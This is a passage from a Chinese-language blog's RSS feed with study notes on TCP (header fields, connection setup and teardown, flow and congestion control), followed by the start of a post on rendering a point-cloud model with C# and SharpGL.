<p><a data-fslightbox="gallery" href="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-04-13-073654.jpg"><img src="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-04-13-073654.jpg" alt="image-20191226184841212" loading="lazy" data-wrapped="true"></a></p>
<ul>
<li>TCP 首部必须为 <strong>4字节的整数倍</strong>（填充位的作用）</li>
<li>序号字段：<strong>第一个字节使用的编号是多少</strong>（TCP 会把每个字节都编号）</li>
<li>确认号：期望收到对方下一个报文的字节数</li>
<li>加了长度字段之后会有一个字段固定首部多长</li>
<li><strong>窗口</strong>：反映了发送方自己可以容纳的最多字节流
<ul>
<li>体现了自己能容纳的最大大小</li>
</ul>
</li>
<li>数据偏移：TCP 报文段的数据距离起始部分有多远，（会 x4
<ul>
<li>用于规定首部有多长</li>
</ul>
</li>
<li>校验和：检验 <strong>首部+TCP数据</strong>，对于头部使用 <strong>ip伪头部</strong> + TCP 头
<ul>
<li>把伪首部、TCP 报头、TCP 数据分为 16 位的字，如果总长度为奇数个字节，则在最后增添一个位都为 0 的字节。</li>
<li>把 TCP 报头中的校验和字段置为 0。</li>
<li>用反码相加法累加所有的 16 位字（进位也要累加）。</li>
<li>对计算结果取反，作为 TCP 的校验和。</li>
<li>伪首部共有 12 字节，包含如下信息：源 IP 地址、目的 IP 地址、保留字节 (置 0)、传输层协议号 (TCP 是 6)、TCP 报文长度 (报头 + 数据)。（和 UDP 相同）</li>
</ul>
</li>
<li>紧急指针：之处紧急数据的字节数</li>
<li>6 个控制位
<ul>
<li>URG 紧急位：高优先级（移到发送方缓存的最前方</li>
<li>ACK 确认为：在连接建立后所有位设置为 1</li>
<li>PSH 推送为：接收方应该及时交付给上层（及时从接收方的缓存移走</li>
<li>RST 复位：表明出现严重差错，必须释放练级诶</li>
<li>SYN 同步位：表示是一个请求连接或接受连接的报文</li>
<li>终止位 FIN：表明报文发送完毕，需要终止</li>
</ul>
</li>
<li>选项：MSS、SACK、扩大等</li>
</ul>
<h2 id="star-tcp-建立连接"><a href="#star-tcp-建立连接">:star: TCP 建立连接</a></h2>
<ul>
<li>
<p>三次握手建立连接</p>
<ul>
<li>
<p><a data-fslightbox="gallery" href="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-04-13-073656.jpg"><img src="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-04-13-073656.jpg" alt="image-20191226185956818" loading="lazy" data-wrapped="true"></a></p>
</li>
<li>
<p>SYN = 1, seq = x（报文段是序号 x</p>
</li>
<li>
<p>SYN = 1, ACK = 1, seq = y, ack = x + 1 （服务器收到的确认就是客户端的 x + 1）</p>
</li>
<li>
<p>服务器分配缓存和变量，并向客户端返回确认报文</p>
</li>
<li>
<p>SYN = 0, ACK = 1, sqe = x + 1, ack = y + 1</p>
</li>
<li>
<p>客户端分配缓存和变量</p>
</li>
<li>
<blockquote>
<p>SYN 洪泛攻击</p>
<p>黑客发送大量请求字段，使客户端无法完成连接的建立 (Solution. SYN cookie)</p>
</blockquote>
</li>
</ul>
</li>
<li>
<p>服务原语</p>
<p><a data-fslightbox="gallery" href="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-04-13-073658.jpg"><img src="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-04-13-073658.jpg" alt="image-20191226181359806" loading="lazy" data-wrapped="true"></a></p>
</li>
</ul>
<h2 id="tcp-连接释放"><a href="#tcp-连接释放">TCP 连接释放</a></h2>
<ul>
<li>释放连接的两种方式
<ul>
<li>对称释放：两方作为单独的连接控制断开与连接 （<strong>TCP使用的方式</strong>）</li>
<li>非对称释放：一旦一方断开连接两侧都断开</li>
</ul>
</li>
<li>四次挥手
<ul>
<li><a data-fslightbox="gallery" href="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-04-13-73702.jpg"><img src="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-04-13-73702.jpg" alt="image-20191226190834175" loading="lazy" data-wrapped="true"></a></li>
<li>客户端：FIN = 1, seq = u</li>
<li>服务器：ACK = 1, seq = v, ack = u + 1（服务器端关闭，已经处于 CLOSE-WAIT 状态）</li>
<li>服务器（发完数据）：FIN = 1, ACK = 1, seq = w, ack = u + 1（这段时间客户端不可能发送任何数据所以确认位相同）</li>
<li>客户端：回复一个确认报文段，再等待计时器设置的 2MSL 后彻底关闭连接</li>
<li>MSL: Maximum Survival Time 数据包的最长生存时间</li>
</ul>
</li>
</ul>
<h2 id="tcp-差错控制"><a href="#tcp-差错控制">TCP 差错控制</a></h2>
<ul>
<li>确认机制：发送方把缓存发送给客户端之后，等待接收方的确认
<ul>
<li>在收到接收方的确认之后从缓存中删除</li>
<li>接收方使用累计确认的方式把已经收到的数据发送回发送方</li>
<li>之后接收方可以从缓存中删除</li>
<li>如果少了位，接收方 ack 将不会前进</li>
</ul>
</li>
<li>重传机制：发送条件复杂，不可简单设置超时重传（会增大网络负荷
<ul>
<li><strong>RTTs</strong>：Round Trip Time (smooth)：加权的平均往返</li>
<li>超时重传（可能会等待时间过长）</li>
<li>冗余 ACK：每当比期望小大的时候发送一个冗余 ACK，表明期待的下一个字节的序号</li>
<li>比如连续收到多个未来的包，会发送多个 ACK，而接收方确认了多个冗余的 ACK 之后，则认定该包丢失，会重传（快重传）</li>
</ul>
</li>
</ul>
<h2 id="tcp-流量控制"><a href="#tcp-流量控制">TCP 流量控制</a></h2>
<ul>
<li>
<p>用于解决点到点的问题（区别于拥塞控制）</p>
</li>
<li>
<p><strong>滑动窗口机制</strong>：动态调整接受缓存机制 - Sliding Window</p>
<ul>
<li>发送窗口取决于接收窗口 rwnd 和拥塞窗口 cwnd 的最小值</li>
<li>发送方的发送窗口可以变化，根据接收方发送回来的报文段改变 [-] 发送也可以指定每一个报文的大小</li>
<li>当窗口满的时候发送方不再发送新的消息，等待超时重传</li>
<li><a data-fslightbox="gallery" href="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-04-13-073703.jpg"><img src="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-04-13-073703.jpg" alt="image-20191226202419202" loading="lazy" data-wrapped="true"></a></li>
<li>死锁解决（例如客户端发送回来的发送包因为传输原因消失</li>
<li>TCP 设置了计时器，如果超时会发送<strong>探测报文段</strong></li>
<li>如果窗口仍然为 0，则发送方重新设置持续计时器（超时后重新发送报文段</li>
</ul>
</li>
</ul>
<h2 id="tcp-拥塞控制"><a href="#tcp-拥塞控制">TCP 拥塞控制</a></h2>
<ul>
<li>
<p>解决问题：网络中的资源不够用（解决客户端之间的问题</p>
</li>
<li>
<p>XCP - eXplicit Congestion Protocol 显示拥塞协议</p>
</li>
<li>
<p>ECN - Explicit Congestion Notification 显示拥塞通知</p>
<ul>
<li>TCP 协议使用，使用比特位告知发送者是否拥塞但不控制具体拥塞的成都和量</li>
</ul>
</li>
<li>
<p><strong>AIMD - Additive Increase Multiplicative Decrease</strong> 加法递增乘法递减法则</p>
<ul>
<li>达到有效和公平（收敛原则）</li>
<li><a data-fslightbox="gallery" href="https://tva1.sinaimg.cn/large/0082zybpgy1gc8texyuzsj31780igq8v.jpg"><img src="https://tva1.sinaimg.cn/large/0082zybpgy1gc8texyuzsj31780igq8v.jpg" alt="image-20191226181051267" loading="lazy" data-wrapped="true"></a></li>
</ul>
</li>
<li>
<p>四种算法</p>
<ul>
<li>
<p>慢开始和拥塞避免：</p>
</li>
<li>
<p><a data-fslightbox="gallery" href="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-04-13-73704.jpg"><img src="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-04-13-73704.jpg" alt="image-20191226203116351" loading="lazy" data-wrapped="true"></a></p>
</li>
<li>
<p>一个传输轮次：发送了一批报文段并收到确认的时间 - RTT</p>
</li>
<li>
<p>ssthresh：慢开始阈值，之后则线性增长（新的 ssthreash 值应当为出现拥塞的大小的 1/2）</p>
</li>
<li>
<p>发现拥塞之后瞬间缩小到慢开始的情况</p>
</li>
<li>
<p>增倍时间：一旦收到消息确认，立即翻倍</p>
</li>
<li>
<p>快重传和快恢复：</p>
</li>
<li>
<p><a data-fslightbox="gallery" href="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-04-13-073706.jpg"><img src="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-04-13-073706.jpg" alt="image-20191226204333155" loading="lazy" data-wrapped="true"></a></p>
</li>
</ul>
</li>
<li>
<p>收到冗余 ACK 的时候执行快重传算法，在重传之后 <strong>快恢复</strong></p>
<ul>
<li>恢复不用降低到 1，只用降低到新的 ssthresh 值，线性加法增大。</li>
</ul>
</li>
<li>
<p>TCP Reno 已被弃用</p>
</li>
</ul>
<hr>
<p>The End.</p>]]></description>
            <link>https://jtchen.io/blog/computer-network-outline</link>
            <guid isPermaLink="false">computer-network-outline</guid>
            <dc:creator><![CDATA[Juntong Chen]]></dc:creator>
            <pubDate>Wed, 01 Jan 2020 00:00:00 GMT</pubDate>
        </item>
        <item>
            <title><![CDATA[使用 C# 与 OpenGL (SharpGL) 加载点云模型]]></title>
            <description><![CDATA[<p><a data-fslightbox="gallery" href="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-04-13-074749.png"><img src="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-04-13-074749.png" alt="效果图" loading="lazy" data-wrapped="true"></a></p>
<h2 id="intro"><a href="#intro">Intro</a></h2>
<p>这一次计算机图形学的作业要求是使用提供的 1.dat （数据点文件）和 2.txt （片面文件）内的数据加载出 3D 模型。在实现的过程中为了探索 OpenGL 的各种细节也增增补补了许多东西。</p>
<p><a data-fslightbox="gallery" href="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-04-13-074752.png"><img src="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-04-13-074752.png" alt="作业要求及数据源" loading="lazy" data-wrapped="true"></a></p>
<p>程序使用<code>C# .Net Framework 4.5</code>，OpenGL 使用库<code>SharpGL</code>链接。这个库使用起来很顺手，获取了 OpenGL 实例之后并命名为 gl 就可以获得和在 C++ 中几乎一样的变成体验。</p>
<p>之前本来打算用 DirectX3d 12 做，奈何实在是太复杂，尝试了许久，用 100 行代码也就清空了一下画布。感受到 d3d 的强大的同时，也被狠狠地劝退了，回到了相对熟悉一些的 OpenGL。</p>
<h2 id="usage"><a href="#usage">Usage</a></h2>
<p>数据文件 1.dat 和 2.txt 应当和程序放在同一个目录下。</p>
<p>使用 Render All 选项可以渲染所有内容， Render Dots Only 只渲染云点和坐标轴，Render Surfaces With Light 渲染光照和 3D 模型的混合。也可以直接在上面勾选需要渲染的内容。</p>
<p><a data-fslightbox="gallery" href="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-04-13-074759.png"><img src="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-04-13-074759.png" alt="效果图" loading="lazy" data-wrapped="true"></a></p>
<p>勾选 Enable Auto Rotation 可以让模型自动绕 y 轴旋转。</p>
<p>取消勾选 Clear Before Repaint 可以在每一次渲染前不清空深度缓存，保留上一次的渲染数据。</p>
<p>Reset 选项将会清空画布并将视角重置为一个比较合适的初始值，重新调整窗口大小也会重新加载画布清空缓存。</p>
<h2 id="code"><a href="#code">Code</a></h2>
<p>核心部分的绘制代码并不难，大概在以下几个函数中。其中有一些和交互相关的代码，逻辑也比较好理解。</p>
<pre><code class="hljs language-cs" class="hljs"><div class="code-line numbered-code-line" data-line-number="1"><span class="hljs-function hljs-keyword">private</span> <span class="hljs-function hljs-keyword">void</span> <span class="hljs-function hljs-title">Initialize</span>() {</div><div class="code-line numbered-code-line" data-line-number="2">	gl = glCanvas.OpenGL;</div><div class="code-line numbered-code-line" data-line-number="3">	LookAtMatrix = <span class="hljs-keyword">new</span> <span class="hljs-built_in">double</span>[<span class="hljs-number">9</span>]{<span class="hljs-number">200</span>, <span class="hljs-number">200</span>, <span class="hljs-number">200</span>, <span class="hljs-number">-30</span>, <span class="hljs-number">20</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">12</span>, <span class="hljs-number">0</span>};</div><div class="code-line numbered-code-line" data-line-number="4">	LightPosition = <span class="hljs-keyword">new</span> <span class="hljs-built_in">float</span>[<span class="hljs-number">4</span>]{<span class="hljs-number">7.5f</span>, <span class="hljs-number">20f</span>, <span class="hljs-number">20f</span>, <span class="hljs-number">1f</span>};</div><div class="code-line numbered-code-line" data-line-number="5">	chkAmbient.Checked = <span class="hljs-literal">false</span>;</div><div class="code-line numbered-code-line" data-line-number="6">	chkAxis.Checked = <span class="hljs-literal">false</span>;</div><div class="code-line numbered-code-line" data-line-number="7">	chkDiffuse.Checked = <span class="hljs-literal">false</span>;</div><div class="code-line numbered-code-line" data-line-number="8">	chkDots.Checked = <span class="hljs-literal">false</span>;</div><div class="code-line numbered-code-line" data-line-number="9">	chkSpecular.Checked = <span class="hljs-literal">false</span>;</div><div class="code-line numbered-code-line" data-line-number="10">	chkSurface.Checked = <span class="hljs-literal">false</span>;</div><div class="code-line numbered-code-line" data-line-number="11">	chkRotate.Checked = <span class="hljs-literal">false</span>;</div><div class="code-line numbered-code-line" data-line-number="12">	chkRepaint.Checked = <span class="hljs-literal">true</span>;</div><div class="code-line numbered-code-line" data-line-number="13">	gl.Disable(OpenGL.GL_LIGHTING);</div><div class="code-line numbered-code-line" data-line-number="14">	<span class="hljs-comment">//抗锯齿和混合</span></div><div class="code-line numbered-code-line" data-line-number="15">	gl.Enable(OpenGL.GL_BLEND);</div><div class="code-line numbered-code-line" data-line-number="16">	gl.BlendFunc(OpenGL.GL_SRC_ALPHA, OpenGL.GL_ONE_MINUS_SRC_ALPHA);</div><div class="code-line numbered-code-line" data-line-number="17">	gl.Enable(OpenGL.GL_LINE_SMOOTH);</div><div class="code-line numbered-code-line" data-line-number="18">	gl.Enable(OpenGL.GL_POLYGON_SMOOTH);</div><div class="code-line numbered-code-line" data-line-number="19">}</div><div class="code-line numbered-code-line" data-line-number="20"></div><div class="code-line numbered-code-line" data-line-number="21"><span class="hljs-comment">//绘制坐标轴</span></div><div class="code-line numbered-code-line" data-line-number="22"><span class="hljs-function hljs-keyword">private</span> <span class="hljs-function hljs-keyword">void</span> <span class="hljs-function hljs-title">RenderAxis</span>() {</div><div class="code-line numbered-code-line" data-line-number="23"></div><div class="code-line numbered-code-line" data-line-number="24">	Log(<span class="hljs-string">"Rendering axis... (Arrow indicates the positive direction of each axis)"</span>);</div><div class="code-line numbered-code-line" data-line-number="25">	gl.Disable(OpenGL.GL_LIGHTING);</div><div class="code-line numbered-code-line" data-line-number="26">	gl.Color(<span class="hljs-number">1f</span>, <span class="hljs-number">1f</span>, <span class="hljs-number">1f</span>);</div><div class="code-line numbered-code-line" data-line-number="27">	gl.Begin(OpenGL.GL_LINES);</div><div class="code-line numbered-code-line" data-line-number="28">	{</div><div class="code-line numbered-code-line" data-line-number="29">		gl.Vertex(<span class="hljs-number">-100f</span>, <span class="hljs-number">0f</span>, <span class="hljs-number">0f</span>);</div><div class="code-line numbered-code-line" data-line-number="30">		gl.Vertex(<span class="hljs-number">100f</span>, <span class="hljs-number">0f</span>, <span class="hljs-number">0f</span>);</div><div class="code-line numbered-code-line" data-line-number="31">		gl.Vertex(<span class="hljs-number">20f</span>, <span class="hljs-number">0f</span>, <span class="hljs-number">0f</span>);</div><div class="code-line numbered-code-line" data-line-number="32">		gl.Vertex(<span class="hljs-number">19f</span>, <span class="hljs-number">0.5f</span>, <span class="hljs-number">0f</span>);</div><div class="code-line numbered-code-line" data-line-number="33">		gl.Vertex(<span class="hljs-number">19f</span>, <span class="hljs-number">-0.5f</span>, <span class="hljs-number">0f</span>);</div><div class="code-line numbered-code-line" data-line-number="34">		gl.Vertex(<span class="hljs-number">20f</span>, <span class="hljs-number">0f</span>, <span class="hljs-number">0f</span>);</div><div class="code-line numbered-code-line" data-line-number="35">	}</div><div class="code-line numbered-code-line" data-line-number="36">	gl.End();</div><div class="code-line numbered-code-line" data-line-number="37">	gl.Begin(OpenGL.GL_LINES);</div><div class="code-line numbered-code-line" data-line-number="38">	{</div><div class="code-line numbered-code-line" data-line-number="39">		gl.Vertex(<span class="hljs-number">0f</span>, <span class="hljs-number">-100f</span>, <span class="hljs-number">0f</span>);</div><div class="code-line numbered-code-line" data-line-number="40">		gl.Vertex(<span class="hljs-number">0f</span>, <span class="hljs-number">100f</span>, <span class="hljs-number">0f</span>);</div><div class="code-line numbered-code-line" data-line-number="41">		gl.Vertex(<span class="hljs-number">0f</span>, <span class="hljs-number">20f</span>, <span class="hljs-number">0f</span>);</div><div class="code-line numbered-code-line" data-line-number="42">		gl.Vertex(<span class="hljs-number">0f</span>, <span class="hljs-number">19f</span>, <span class="hljs-number">0.5f</span>);</div><div class="code-line numbered-code-line" data-line-number="43">		gl.Vertex(<span class="hljs-number">0f</span>, <span class="hljs-number">19f</span>, <span class="hljs-number">-0.5f</span>);</div><div class="code-line numbered-code-line" data-line-number="44">		gl.Vertex(<span class="hljs-number">0f</span>, <span class="hljs-number">20f</span>, <span class="hljs-number">0f</span>);</div><div class="code-line numbered-code-line" data-line-number="45">	}</div><div class="code-line numbered-code-line" data-line-number="46">	gl.End();</div><div class="code-line numbered-code-line" data-line-number="47">	gl.Begin(OpenGL.GL_LINES);</div><div class="code-line numbered-code-line" data-line-number="48">	{</div><div class="code-line numbered-code-line" data-line-number="49">		gl.Vertex(<span class="hljs-number">0f</span>, <span class="hljs-number">0f</span>, <span class="hljs-number">-100f</span>);</div><div class="code-line numbered-code-line" data-line-number="50">		gl.Vertex(<span class="hljs-number">0f</span>, <span class="hljs-number">0f</span>, <span class="hljs-number">100f</span>);</div><div class="code-line numbered-code-line" data-line-number="51">		gl.Vertex(<span class="hljs-number">0f</span>, <span class="hljs-number">0f</span>, <span class="hljs-number">20f</span>);</div><div class="code-line numbered-code-line" data-line-number="52">		gl.Vertex(<span class="hljs-number">0.5f</span>, <span class="hljs-number">0f</span>, <span class="hljs-number">19f</span>);</div><div class="code-line numbered-code-line" data-line-number="53">		gl.Vertex(<span class="hljs-number">-0.5f</span>, <span class="hljs-number">0f</span>, <span class="hljs-number">19f</span>);</div><div class="code-line numbered-code-line" data-line-number="54">		gl.Vertex(<span class="hljs-number">0f</span>, <span class="hljs-number">0f</span>, <span class="hljs-number">20f</span>);</div><div class="code-line numbered-code-line" data-line-number="55">	}</div><div class="code-line numbered-code-line" data-line-number="56">	gl.End();</div><div class="code-line numbered-code-line" data-line-number="57">}</div><div class="code-line numbered-code-line" data-line-number="58"></div><div class="code-line numbered-code-line" data-line-number="59"><span class="hljs-comment">//绘制点云</span></div><div class="code-line numbered-code-line" data-line-number="60"><span class="hljs-function hljs-keyword">private</span> <span class="hljs-function hljs-keyword">void</span> <span class="hljs-function hljs-title">RenderDots</span>() {</div><div class="code-line numbered-code-line" data-line-number="61">	Log(<span class="hljs-string">"Rendering dots..."</span>);</div><div class="code-line numbered-code-line" data-line-number="62">	gl.Color(<span class="hljs-number">1f</span>, <span class="hljs-number">1f</span>, <span class="hljs-number">1f</span>);</div><div class="code-line numbered-code-line" data-line-number="63">	gl.PointSize(<span class="hljs-number">2.0f</span>);</div><div class="code-line numbered-code-line" data-line-number="64">	gl.Begin(OpenGL.GL_POINTS);</div><div class="code-line numbered-code-line" data-line-number="65">	{</div><div class="code-line numbered-code-line" data-line-number="66">		<span class="hljs-keyword">foreach</span> (Cordinate c <span class="hljs-keyword">in</span> cordinates) {</div><div class="code-line numbered-code-line" data-line-number="67">			gl.Vertex(c.x, c.y, c.z);</div><div class="code-line numbered-code-line" data-line-number="68">		}</div><div class="code-line numbered-code-line" data-line-number="69">	}</div><div class="code-line numbered-code-line" data-line-number="70">	gl.End();</div><div class="code-line numbered-code-line" data-line-number="71">}</div><div class="code-line numbered-code-line" data-line-number="72"><span class="hljs-function hljs-keyword">private</span> <span class="hljs-function hljs-keyword">void</span> <span class="hljs-function hljs-title">LightConfiguration</span>() {</div><div class="code-line numbered-code-line" data-line-number="73">	Log(<span class="hljs-string">"Configuring light and materials..."</span>);</div><div class="code-line numbered-code-line" data-line-number="74">	<span class="hljs-comment">// 光照配置和材质配置</span></div><div class="code-line numbered-code-line" data-line-number="75">	<span class="hljs-built_in">float</span>[] AmbientLight = <span class="hljs-keyword">new</span> <span class="hljs-built_in">float</span>[<span class="hljs-number">4</span>]{<span class="hljs-number">0.5f</span>, <span class="hljs-number">1f</span>, <span class="hljs-number">1f</span>, <span class="hljs-number">1f</span>};</div><div class="code-line numbered-code-line" data-line-number="76">	<span class="hljs-built_in">float</span>[] DiffuseLight = <span class="hljs-keyword">new</span> <span class="hljs-built_in">float</span>[<span class="hljs-number">4</span>]{<span class="hljs-number">0.5f</span>, <span class="hljs-number">1f</span>, <span class="hljs-number">1f</span>, <span class="hljs-number">1f</span>};</div><div class="code-line numbered-code-line" data-line-number="77">	<span class="hljs-built_in">float</span>[] SpecularLight = <span class="hljs-keyword">new</span> <span class="hljs-built_in">float</span>[<span class="hljs-number">4</span>]{<span class="hljs-number">1f</span>, <span class="hljs-number">1f</span>, <span class="hljs-number">1f</span>, <span class="hljs-number">1f</span>};</div><div class="code-line numbered-code-line" data-line-number="78"></div><div class="code-line numbered-code-line" data-line-number="79">	<span class="hljs-built_in">float</span>[] modelMaterial = <span class="hljs-keyword">new</span> <span class="hljs-built_in">float</span>[<span class="hljs-number">4</span>]{<span class="hljs-number">0.3f</span>, <span class="hljs-number">0.3f</span>, <span class="hljs-number">0.35f</span>, <span class="hljs-number">1f</span>};</div><div class="code-line numbered-code-line" data-line-number="80">	<span class="hljs-built_in">float</span>[] modelSpecularSet = <span class="hljs-keyword">new</span> <span class="hljs-built_in">float</span>[<span class="hljs-number">4</span>]{<span class="hljs-number">0.5f</span>, <span class="hljs-number">1.0f</span>, <span class="hljs-number">1.0f</span>, <span class="hljs-number">1.0f</span>};</div><div class="code-line numbered-code-line" data-line-number="81"></div><div class="code-line numbered-code-line" data-line-number="82">	<span class="hljs-keyword">if</span> (chkAmbient.Checked || chkDiffuse.Checked || chkSpecular.Checked) {</div><div class="code-line numbered-code-line" data-line-number="83">		<span class="hljs-comment">// 绘制光源</span></div><div class="code-line numbered-code-line" data-line-number="84">		gl.PointSize(<span class="hljs-number">5f</span>);</div><div class="code-line numbered-code-line" data-line-number="85">		gl.Begin(OpenGL.GL_POINTS);</div><div class="code-line numbered-code-line" data-line-number="86">		{</div><div class="code-line numbered-code-line" data-line-number="87">			gl.Vertex(LightPosition[<span class="hljs-number">0</span>], LightPosition[<span class="hljs-number">1</span>], LightPosition[<span class="hljs-number">2</span>]);</div><div class="code-line numbered-code-line" data-line-number="88">		}</div><div class="code-line numbered-code-line" data-line-number="89">		gl.End();</div><div class="code-line numbered-code-line" data-line-number="90">		gl.PointSize(<span class="hljs-number">2</span>);</div><div class="code-line numbered-code-line" data-line-number="91">	}</div><div class="code-line numbered-code-line" data-line-number="92"></div><div class="code-line numbered-code-line" data-line-number="93">	gl.Enable(OpenGL.GL_LIGHTING);</div><div class="code-line numbered-code-line" data-line-number="94">	gl.Enable(OpenGL.GL_LIGHT0);</div><div class="code-line numbered-code-line" data-line-number="95">	gl.Enable(OpenGL.GL_LIGHT1);</div><div class="code-line numbered-code-line" data-line-number="96">	gl.Enable(OpenGL.GL_LIGHT2);</div><div class="code-line numbered-code-line" data-line-number="97">	<span class="hljs-keyword">if</span> (chkAmbient.Checked) {</div><div class="code-line numbered-code-line" data-line-number="98">		gl.Light(OpenGL.GL_LIGHT0, OpenGL.GL_AMBIENT, AmbientLight);</div><div class="code-line numbered-code-line" data-line-number="99">	} <span class="hljs-keyword">else</span> {</div><div class="code-line numbered-code-line" data-line-number="100">		gl.Disable(OpenGL.GL_LIGHT0);</div><div class="code-line numbered-code-line" data-line-number="101">	}</div><div class="code-line numbered-code-line" data-line-number="102">	<span class="hljs-keyword">if</span> (chkDiffuse.Checked) {</div><div class="code-line numbered-code-line" data-line-number="103">		gl.Light(OpenGL.GL_LIGHT1, OpenGL.GL_DIFFUSE, DiffuseLight);</div><div class="code-line numbered-code-line" data-line-number="104">	} <span class="hljs-keyword">else</span> {</div><div class="code-line numbered-code-line" data-line-number="105">		gl.Disable(OpenGL.GL_LIGHT1);</div><div class="code-line numbered-code-line" data-line-number="106">	}</div><div class="code-line numbered-code-line" data-line-number="107">	<span class="hljs-keyword">if</span> (chkSpecular.Checked) {</div><div class="code-line numbered-code-line" data-line-number="108">		gl.Light(OpenGL.GL_LIGHT2, OpenGL.GL_SPECULAR, SpecularLight);</div><div class="code-line numbered-code-line" data-line-number="109">		gl.Material(OpenGL.GL_FRONT, OpenGL.GL_SPECULAR, modelSpecularSet);</div><div class="code-line numbered-code-line" data-line-number="110">		gl.Material(OpenGL.GL_FRONT, OpenGL.GL_SHININESS, <span class="hljs-number">64f</span>);</div><div class="code-line numbered-code-line" data-line-number="111">	} <span class="hljs-keyword">else</span> {</div><div class="code-line numbered-code-line" data-line-number="112"></div><div class="code-line numbered-code-line" data-line-number="113">		gl.Material(OpenGL.GL_FRONT, OpenGL.GL_SHININESS, <span class="hljs-number">0f</span>);</div><div class="code-line numbered-code-line" data-line-number="114">		gl.Disable(OpenGL.GL_LIGHT2);</div><div class="code-line numbered-code-line" data-line-number="115">	}</div><div class="code-line numbered-code-line" data-line-number="116">	<span class="hljs-comment">// gl.Material(OpenGL.GL_FRONT, OpenGL.GL_DIFFUSE, modelMaterial);</span></div><div class="code-line numbered-code-line" data-line-number="117">	<span class="hljs-comment">// gl.Material(OpenGL.GL_FRONT, OpenGL.GL_AMBIENT, modelMaterial);</span></div><div class="code-line numbered-code-line" data-line-number="118">	gl.Light(OpenGL.GL_LIGHT0, OpenGL.GL_POSITION, LightPosition);</div><div class="code-line numbered-code-line" data-line-number="119">	gl.Light(OpenGL.GL_LIGHT1, OpenGL.GL_POSITION, LightPosition);</div><div class="code-line numbered-code-line" data-line-number="120">	gl.Light(OpenGL.GL_LIGHT2, OpenGL.GL_POSITION, LightPosition);</div><div class="code-line numbered-code-line" data-line-number="121">}</div><div class="code-line numbered-code-line" data-line-number="122"></div><div class="code-line numbered-code-line" data-line-number="123"><span class="hljs-comment">//绘制边</span></div><div class="code-line numbered-code-line" data-line-number="124"><span class="hljs-function hljs-keyword">private</span> <span class="hljs-function hljs-keyword">void</span> <span class="hljs-function hljs-title">RenderSurfaces</span>() {</div><div class="code-line numbered-code-line" data-line-number="125">	gl.Enable(OpenGL.GL_DEPTH_TEST);</div><div class="code-line numbered-code-line" data-line-number="126">	Log(<span class="hljs-string">"Rendering surfaces..."</span>);</div><div class="code-line numbered-code-line" data-line-number="127">	<span class="hljs-keyword">foreach</span> (Surface s <span class="hljs-keyword">in</span> surfaces) {</div><div class="code-line numbered-code-line" data-line-number="128">		gl.Begin(OpenGL.GL_POLYGON);</div><div class="code-line numbered-code-line" data-line-number="129">		{</div><div class="code-line numbered-code-line" data-line-number="130">			gl.Vertex(cordinates[s.p1 - <span class="hljs-number">1</span>].x, cordinates[s.p1 - <span class="hljs-number">1</span>].y, cordinates[s.p1 - <span class="hljs-number">1</span>].z);</div><div class="code-line numbered-code-line" data-line-number="131">			gl.Vertex(cordinates[s.p2 - <span class="hljs-number">1</span>].x, cordinates[s.p2 - <span class="hljs-number">1</span>].y, cordinates[s.p2 - <span class="hljs-number">1</span>].z);</div><div class="code-line numbered-code-line" data-line-number="132">			gl.Vertex(cordinates[s.p3 - <span class="hljs-number">1</span>].x, cordinates[s.p3 - <span class="hljs-number">1</span>].y, cordinates[s.p3 - <span class="hljs-number">1</span>].z);</div><div class="code-line numbered-code-line" data-line-number="133">			<span class="hljs-keyword">if</span> (s.p4 != <span class="hljs-number">0</span>) {</div><div class="code-line numbered-code-line" data-line-number="134">				gl.Vertex(cordinates[s.p4 - <span class="hljs-number">1</span>].x, cordinates[s.p4 - <span class="hljs-number">1</span>].y, cordinates[s.p4 - <span class="hljs-number">1</span>].z);</div><div class="code-line numbered-code-line" data-line-number="135">			}</div><div class="code-line numbered-code-line" data-line-number="136">		}</div><div class="code-line numbered-code-line" data-line-number="137">		gl.End();</div><div class="code-line numbered-code-line" data-line-number="138">	}</div><div class="code-line numbered-code-line" data-line-number="139">}</div><div class="code-line numbered-code-line" data-line-number="140"></div><div class="code-line numbered-code-line" data-line-number="141"><span class="hljs-comment">//清除所有信息并设置背景色</span></div><div class="code-line numbered-code-line" data-line-number="142"><span class="hljs-function hljs-keyword">private</span> <span class="hljs-function hljs-keyword">void</span> <span class="hljs-function hljs-title">ClearAll</span>() {</div><div class="code-line numbered-code-line" data-line-number="143">	gl.ClearColor(<span class="hljs-number">0.3f</span>, <span class="hljs-number">0.4f</span>, <span class="hljs-number">0.5f</span>, <span class="hljs-number">1f</span>);</div><div class="code-line numbered-code-line" data-line-number="144">	gl.Clear(OpenGL.GL_COLOR_BUFFER_BIT | OpenGL.GL_DEPTH_BUFFER_BIT);</div><div class="code-line numbered-code-line" data-line-number="145">}</div><div class="code-line numbered-code-line" data-line-number="146"></div><div class="code-line numbered-code-line" data-line-number="147"><span class="hljs-function hljs-keyword">private</span> <span class="hljs-function hljs-keyword">void</span> <span class="hljs-function hljs-title">RENDER</span>() {</div><div class="code-line numbered-code-line" data-line-number="148">	<span class="hljs-keyword">if</span> (changeDetecter) {</div><div class="code-line numbered-code-line" data-line-number="149">		sw.Restart();</div><div class="code-line numbered-code-line" data-line-number="150">	}</div><div class="code-line numbered-code-line" data-line-number="151">	<span class="hljs-keyword">if</span> (!dataLoaded) {</div><div class="code-line numbered-code-line" data-line-number="152">		Log(<span class="hljs-string">"Loading surface and dots data..."</span>);</div><div class="code-line numbered-code-line" data-line-number="153">		LoadData();</div><div class="code-line numbered-code-line" data-line-number="154">		Log(<span 